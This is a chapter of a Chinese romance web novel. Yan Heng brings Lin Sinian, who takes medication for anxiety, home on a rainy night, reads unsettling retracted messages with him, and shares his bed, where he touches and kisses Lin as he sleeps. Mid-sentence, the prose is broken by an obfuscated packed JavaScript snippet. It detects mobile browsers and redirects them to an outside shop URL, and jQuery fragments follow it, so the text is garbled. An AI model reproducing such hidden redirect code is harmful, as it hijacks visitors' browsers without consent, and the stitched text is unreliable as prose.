黑色的商务车停在门口,司机从主驾下来,打着伞等候在门口。
林斯年从沙发上起身,言珩握着印有voss字样的矿泉水坐着,似乎走神了。
过了好一会儿,言珩看着林斯年,目光终于有了实质。他薄唇轻启:“今晚要跟我回家住一晚吗?”
“不可以吗?你家那么大,你不会这么小气,不留我住一晚吧?”林斯年说。
“不是。”言珩抿了一下唇,嘴巴有点干,他拧开水瓶又喝了两口。
清凉的水从喉间一路灌进胃里,他刚刚不觉得这水凉,这会儿却觉得凉得舒坦。
冷热总是对比出现。
林斯年看了看门口,面无表情的司机打着伞还在等,裤腿上沾了一些雨水。不忍心让人等太久,林斯年凝眉,觑着言珩。
言珩长手长脚,两只腿分开坐,喝完水不知道在想什么,浑身都舒展开,明明他人还在这里,却给人一种神游天外的感觉。
林斯年于是去抓他手腕:“言珩。”
言珩猛然抽手,林斯年刚碰到他皮肤,就被狠狠甩开。
林斯年一愣,只见言珩收回手,把矿泉水放在一旁的桌子上,整了整衣摆,好整以暇地站起来。
“那我们走吧。”言珩说。
“……”什么毛病?
林斯年跟在言珩后面,小跑了两步跟上,突然想起了什么:“等等,我的书包,我的书包还在那辆车上面呢。”
言珩在门口停下,转过身等待,顺手把钥匙递给旁边的门童:“车后座上有一个红色的书包,帮我取一下。”
门童拿了钥匙,点头,撑着伞出去了。
很快,书包到了林斯年手里,他挎着书包,边上车边检查里面的东西。
上了车林斯年才发现,除了司机,副驾还坐了一个人,是一个头发梳在后面一丝不苟的中年男人。他俩上车,他毫无所觉一样,还在看手里的平板,甚至往下滑了一页。
林斯年愣了愣,看向旁边的言珩。
言珩没跟他解释前面的人是谁,反而关心起了他的书包,盯着他在里面翻找东西的手:“找什么呢找得这么仔细?”
林斯年:“在找明天吃的药。”
“什么药?你生病了?”言珩问。
“不是,是帕罗西汀,每天早上都要吃,突然不吃的话戒断反应很严重。”林斯年说。
“帕罗西汀?”
“嗯。”林斯年并不忌讳提起这个,他拿出药在言珩面前晃了晃,“高三的时候,太焦虑了,我妈也是实在没办法了,只能带着我看医生,后来就一直吃药了。”
“抱歉,我不知道。”言珩抿唇。
“没事。”林斯年笑了笑。
暖气依旧很足,林斯年靠在座椅上,默默听着车内舒缓的钢琴曲,雨点打在玻璃上,发出沉闷的咚咚声,环境更显安谧。
言珩没有再说话,侧脸看向窗外。
林斯年看过去,只能看到对方的后脑勺和凸出来的颈部线条。看着看着,他躺在贴合的靠枕上,把眼睛闭上了。
陷入黑暗的前一秒看到的,似乎是言珩终于转过头,表情沉沉。
十几分钟后,MPV开进地下停车场,司机先下车候着。李由看完平板上的文字,按灭屏幕,并没有转过身,但话却是对后面的人说的。
“小少爷,到家了。”他太久不说中文,说的时候会有一些奇怪的拐音。
言珩从喉咙里挤出一个“嗯”字。
李由:“要把他喊醒吗?”
言珩:“不用。”
回国后,出去谈生意,言珩常坐这辆车,里面有一个小型的衣柜,放了一套备用的正装、一件大衣和一些不同款的小配饰。
言珩拿出黑色的大衣,盖在林斯年身上,从另一边打开车门,抱着他下了车。
李由露出一个意味不明的笑:“我不上去了,等会让司机把我送回去。”
“好。”言珩说,林斯年很轻,他抱起来几乎不怎么用力,这家伙睡得很沉,抱下车都没有醒来,他看了看怀里被大衣挡得严实的人,又看向李由,“为什么没有告诉我他在吃药?”
李由眉头一挑:“SAD而已。”
SAD——Social Anxiety Disorder的简称,中文名叫社交焦虑障碍。在李由看来,他承认这是一个在医学上有定义的心理障碍疾病,但是他个人不认为这个病在实际中有什么需要特殊对待的。
看言珩有些不悦地皱眉,李由耸了耸肩:“他的简历挑出来,我让管家放你书房了。他应聘的岗位可是技术岗,你真想要他当你助理?”
言珩:“怎么?”
李由:“没什么,Z市毕竟是分公司,老爷希望的可不只是让你待在这里。你还记得,把你带回来的时候你答应好了什么吗?”
言珩:“不劳您费心,我记得。”
“那就好。”李由笑了,而后看着被言珩用大衣整个盖住,抱在怀里,只露出凌乱头发的人,“你年轻所以有犯错的资本,但是玩物丧志也是不可取的,你站在这个位置,身上就天然有你该承担的责任。”
“李叔,说完了吗?”言珩说。
“说完了。”李由耸肩,又重新坐回副驾,“真搞不懂你们这一代人,爱来爱去,好fancy啊。”
这个房子已经空置了很久,言珩一个月前从国外回来,在这边过了年,才稍微有点人气。让早已等候在旁边的佣人把要用的东西带上,言珩抱着林斯年上了电梯。
回想起高中,林斯年好像也总是爱睡觉,不爱跟人交流,下课别人都在聊天的时候,他就趴在桌子上补觉,有睡不完的觉似的。
以前,言珩只觉得那是习性,但今天有了点别的猜测。焦虑到已经成了病,那他在外面的时候应该无时无刻都处于紧绷状态,类似于猫科生物的应激,他一直处于这样的应激状态,怪不得长不胖呢,抱起来轻得跟片羽毛似的。
抱了一路,人都没醒来,言珩把林斯年一放到床上,人就醒了。
林斯年揉了揉眼睛,把身上的大衣拨开,环视四周嘟囔说:“我睡着了?”
言珩:“嗯。”
房间很宽敞,有一个很大的落地窗,能看到Z市最出名的景点忘忧津,远远俯瞰,风景秀丽,这会儿还有不少人。隔音很好,从里面听不到外面的一点风吹草动。
身下的床垫厚实,林斯年摸了摸,手掌传来舒服的触感,其实他很喜欢睡软床,但是林婉清觉得睡硬床对腰好,家里都是硬床,包括学校的床垫。
“洗漱完早点睡吧。”言珩说。
“好。”林斯年抓起大衣,“衣服。”
言珩接过衣服,拍了拍他的脑袋,嘱咐了他几句洗漱用品、睡衣以及可能用到的按键在哪里,又说他不用拘谨,随便用,随便看。
林斯年一一点头,应下。
等言珩关好门走了,林斯年才有空认真观察这间卧室。以前他也会幻想豪宅是什么样的,可能空间很大,里面的家具配置很高,房间自带卫生间、衣橱以及吧台什么的,但从来没有这一刻真实。
林斯年左看看右看看,摸摸这里摸摸那里,心里一方面想也不过如此,另一方面想,他什么时候也能买到这种大房子。
洗完澡,他躺在床上,很快就困了。
在彻底睡过去之前,收到了一条消息,手机的叮咚声让他惊了一下,想起自己忘记调静音了。把床头灯打开,林斯年点进微信,是陆绾绾发来的消息。
晚晚:睡了吗,弟弟?
负熵:姐,我还没睡。
晚晚:[图片]
林斯年点开截图,里面是极溯官网上关于新上任的CEO介绍。照片还没有上传,只有很模糊的大概介绍,包括之前跟进过什么项目,取得了什么成就等等。
姓名那一栏写的是,严珩。
林斯年刚看完,显示图片已经被撤回。
晚晚:极溯的总裁居然和言珩的读音一样,你猜他们会不会有什么关系啊?
三十秒过后,同样被撤回。
晚晚:珩是个好字呀,君子如珩,羽衣昱耀,怪不得大家都喜欢用珩来起名。
晚晚撤回了一条消息。
晚晚:你还记得高中的时候,你刚转学来的那会儿,语文老师让大家做活动,让我们每个人不实名地写一段关于班里同学的描写,然后让大家猜测,他描写的那个人是谁。你还记得言珩写的是什么吗?
晚晚撤回了一条消息。
晚晚:那句话,我到现在都记得呢。
晚晚撤回了一条消息。
晚晚:大家都猜那句话是夸我的。我想,那个时候言珩就偷偷暗恋我吧,可惜了,可惜那会儿我一心只想学习,从来没有对他表示过好感。
晚晚撤回了一条消息。
晚晚:现在回想起来,没有谈一段高中校园的恋爱,还挺遗憾的。尤其,那会儿言珩除了家里穷,不喜欢跟人交流,其他地方都优秀,人还长得那么帅。
晚晚撤回了一条消息。
晚晚:弟弟,哎,从校园到职场,可能是人生将要迈入新阶段了,所以总忍不住跟你念叨这些,你不会嫌我烦吧。
晚晚撤回了一条消息。
林斯年握着手机,到最后,里面竟然除了最开始的睡了吗和没睡两句还在,下面什么都没有了。
就好像那些话只是为了给他看。
就好像,他看完了,那些话存活于世的价值就被赋予过了。
就那么看了很久,林斯年恍然回神,他脸色发白把手机关机,扔在一边,脑子里一直盘旋着陆绾绾给他发的话——
“你还记得言珩写的是什么吗?”
怎么会不记得?怎么敢忘?
过了大约几分钟,林斯年摇摇头,强迫自己把纷乱的思绪从脑袋里甩出去,摸上脸颊。他又在无意识地紧咬牙关,放松之后,整个下颌都在隐隐作痛。
睡觉吧,睡着了就什么都不想了。
他在心里对自己说。
林斯年把被子往上拉,仰躺着,两只手紧紧抓住被子的边。
太安静了,他想起以前看过一个论断,人在太安静的、没有回声的地方,很容易精神崩溃。于是他迫切地想制造出一点动静。最起码得证明,诺大的空间里自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374869|200045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己还活着。
“咚咚——”
敲门声打破寂静,林斯年陡然看向门口。
言珩小心翼翼把门推开一条缝,看到床头灯还开着,林斯年正一脸惊恐看着他。说实话,他被林斯年的表情吓到了一瞬,但也只是一瞬间。
林斯年从齿缝里蹦出几个字:“言珩。”
言珩蓦地想起了某种画面——
雨天,一地泥泞,被抛弃的幼猫。
“是我。”他把声音放得更轻了一点。
过了好一会儿,言珩站在门口,没动。
林斯年坐起身,用两只手使劲揉了揉脸,面部肌肉被动放松。
“言珩,你来做什么?”
言珩舔了一下嘴唇,声音干涩:“打雷了,雷声太大,我不敢一个人睡。”
林斯年看了眼窗外:“啊?
“所以,我能跟你一起睡吗?”
如果现在站在门口的是除了言珩以外的任何一个人说,因为外面雷声太大所以请求一起睡,在说完这句话的下一秒,林斯年都会毫不犹豫地把巴掌扇到那人脸上。
他很小的时候就一个人睡了,除了上了大学被强迫住在宿舍,其余时候都有自己独立的房间。哪怕是住宿舍,他都得用厚厚的床帘隔绝处一个绝对安全不被打扰的空间。
然而,站在门口的——
林斯年一眨不眨盯着言珩,对方穿着灰色的棉质睡衣,为保持距离,刻意只开了一点门,走廊的灯透过门缝,言珩的神色被隐藏在阴影下。
“那你……进来吧。”
为什么是言珩的话,他会觉得没关系,林斯年在心里问自己。
是因为这本来就是言珩的房子,言珩睡哪里都合理,还是因为他明白知道言珩讨厌他,又认定了他不喜欢和男生亲密接触,一起睡觉也不过是言珩在恶心他。而他怀着知晓一切的眼睛,只是想看言珩为了恶心他能做到什么程度。之前是亲吻和拥抱、现在是同睡一张床,以后呢。
听了他的话,言珩愣了愣。
林斯年揉了揉眼睛,重新躺回被子里,背对着留出的一大片空间:“不过我睡觉可能会做噩梦,偶尔也会说梦话。”
“没关系。”言珩带上门,轻手轻脚进来。
林斯年感觉身后的床垫凹陷下去,哪怕刻意不去想,他也无法忽视旁边大体积有热量的人。
言珩把床头灯关了。
有沙沙的声音,是言珩在动,他进来的时候是躺平的,也许是转到右边去了,也许是转到左边来了。
一只温热的手掌落在林斯年的肩膀上,安抚地拍了拍,很快撤走。
而后,是言珩的声音:“安心睡吧。”
林斯年于是知道了,他转到了左边。
这一觉林斯年睡得并不踏实,言珩很安静,如果不是知道了有人在旁边,林斯年都不会觉得他们是在共享一张床。
也许是晚上和陆绾绾聊天,林斯年被那些话影响到了,梦里陆陆续续会浮现一些回忆的片段。
有时候是在一节语文课上。
有时候是在家里,有人对他说什么,逐渐变得遥远,卷着纷飞着的白茫茫的东西飞上天际。
一会儿是男声:“你这个人……本来就让人觉得恶心透顶了。”
一会儿是女声:“他喜欢的不是你……他喜欢的是我,你忘了吗?”
他做了梦,睡着了也在乱动,滚来滚去。言珩却一动不敢动,能得到林斯年的允许进房间,对于他来说,已经是幸福从天而降,把他砸得晕乎乎的。更别提要是因为他乱动被赶出去,他得有多悔恨。
窗帘只拉了纱帘,有月光照进来,言珩注视着近在咫尺的人。周围是深蓝色的,林斯年是白色的,像坠在枝头玉兰花透亮的白,他凝着眉,呼吸。所有的事物都像是刚从海里捞起来,湿漉漉的。
言珩屡次握紧拳头,松开,再握紧。最后脑子里有一根弦猛地崩断了。
他将手轻轻放在面前人的脸颊,触感是柔软细腻的,林斯年没醒,他又大胆了一些,大拇指在对方脸上仔细描摹。他想,人为什么不能变成章鱼,触手上长满吸盘,这样他就可以毫无保留地感受到这个人的存在。
只要确保对方的存在,他就安心了。
他真的好喜欢好喜欢好喜欢这个人。
一想到这个,言珩就眼眶发热。
大拇指最后停留的地方是林斯年的唇,竖着贴在唇中间。每个人独一无二的指纹,每个人独一无二的唇纹,之间再没有缝隙。言珩蓦地想起昨天晚上林斯年印在他脸颊的那个吻。
……
林斯年从梦中惊醒,记忆还停留在手机屏幕上越来越大的聊天框,占据了他的整个视野,是陆绾绾给他发的消息——
“……那个时候言珩就偷偷暗恋我吧。”
林斯年的心脏像是被狠狠攥紧,整个人都被那句话打入地狱。他猛地睁开眼,如同溺水之人抓住浮木之后,短暂透出水面,大口呼吸。
意识回笼,林斯年感觉,有什么温暖的东西贴在他的脸上和唇上,而后是一片阴影压了过来。
是言珩隔着手指落在他唇上的一个吻。